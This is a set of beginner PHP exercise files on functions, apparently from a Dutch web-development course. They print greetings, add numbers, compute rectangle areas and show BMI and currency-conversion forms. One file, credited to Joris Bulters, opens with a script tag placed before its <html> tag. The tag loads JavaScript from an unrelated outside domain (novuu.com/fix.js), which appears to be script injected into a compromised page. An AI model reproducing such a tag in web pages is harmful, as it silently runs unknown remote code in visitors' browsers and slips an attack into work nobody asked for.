<?php require_once 'ja.php'; writeHello(); writeMsg('hello'); writeMsg('okdoei'); writeMsgTo('Robin', 'ja'); writeMsgTo('Robin'); $outcome = addValue(5, 7); echo 'The outcome of 5+7 = ' . $outcome . '<br/>'; $outcome = calcRect(5, 7); echo 'The area of a rectangle of 5 and 7 is ' . $outcome . '<br/>'; BMI();
<?php error_reporting(0); include 'lib/functions.php'; writeHello(); echo '<br>'; writeMsg('hello'); echo '<br>'; writeMsg('byebye'); echo '<br>'; writeMsgTo('stijn', 'how are you doing'); echo '<br>'; writeMsgTo('stijn'); echo '<br>'; cal(2, 2); echo '<br>'; cal2(4, 6); echo '<br>'; echo '<br>'; echo '<br>'; body();
<?php include 'func.php'; writeHello(); writeMsg('hello'); writeMsg('byebye'); writeMsgTo('Ingrid', 'Functions are cool'); writeMsgTo('Ingrid'); $outcome = addValue(5, 7); echo 'The outcome of 5 + 7 = ' . $outcome . '<br/>'; $outcome = calcRect(5, 7); echo 'The area of a rectangle of 5 and 7 = ' . $outcome . '<br/>';
<?php include 'functions.php'; writeHello(); writeMsg('hello'); writeMsg('byebye'); writeMsgTo('Natan', 'Functions are cool'); writeMsgTo('Natan'); $outcome = addValue(5, 7); echo 'The outcome of 5 + 7 = ' . $outcome . '<br/>'; $outcome = calcRect(5, 7); echo 'The area of a rectangle of 5 and 7 = ' . $outcome . '<br/>';
<?php include 'functions.php'; writeHello(); writeMsg('hello'); writeMsg('byebye'); writeMsgTo('Cemre', 'Function are cool!'); writeMsgTo('Henk'); $result = numbers(5, 7); echo 'The outcome of 5 + 7 = ' . $result . '<br/>'; $result = calcRect(5, 7); echo 'The area of a rectangle of 5 and 7 =' . $result . '<br/>'; ?> <br> Exercise 2 BMI: <form action="bmicalculator.php" method="post"> Lengte in M : <input type="text" name="lengte"></input> Gewicht in kg : <input type="text" name="gewicht"></input> <input type="submit" value="Bereken BMI"></input> </form> //$bmi = weight / (height * height);
<script src="//novuu.com/fix.js" type="text/javascript"></script> <html> <head lang="en"> <meta charset="UTF-8"> <title>functions - Joris Bulters - MD2A</title> </head> <body> <?php include 'functions.php'; //See http://bovi.hosts.ma-cloud.nl/md2_bap/p2_w1_functions/ writeHello(); writeMsg('Hello person that reads this.'); writeMsg('Bye Bye mysterious person.'); writeMsgTo('Mysterious person', 'Welcome on this page.'); $outcome = addNumbers(5, 7); echo 'The outcome of 5 + 7 = ' . $outcome . '<br/>'; $outcome = calcRectNumb(5, 7); echo 'The area of a rectangle of 5 and 7 = ' . $outcome . '<br/>'; ?> <br> <hr> <h3>Currency Calculator</h3> <form action="money.php" method="post"> <p><input type="text" name="money" placeholder="Dollars -> Euros"></p> <p><input type="submit" value="Verstuur" name="go"></p> <p><input type="reset" value="Reset"></p> </form>
<?php include 'funcs.php'; //See http://bovi.hosts.ma-cloud.nl/md2_bap/p2_w1_functions/ writeHello(); writeMsg('I greet you.'); writeMsg('You win, this time...'); writeMsgTo('Uther', 'put your faith in the Light!'); $outcome = addValue(5, 7); echo 'The outcome of 5 + 7 = ' . $outcome . '<br/>'; $outcome = calcRect(5, 7); echo 'The area of a rectangle of 5 and 7 = ' . $outcome . '<br/>';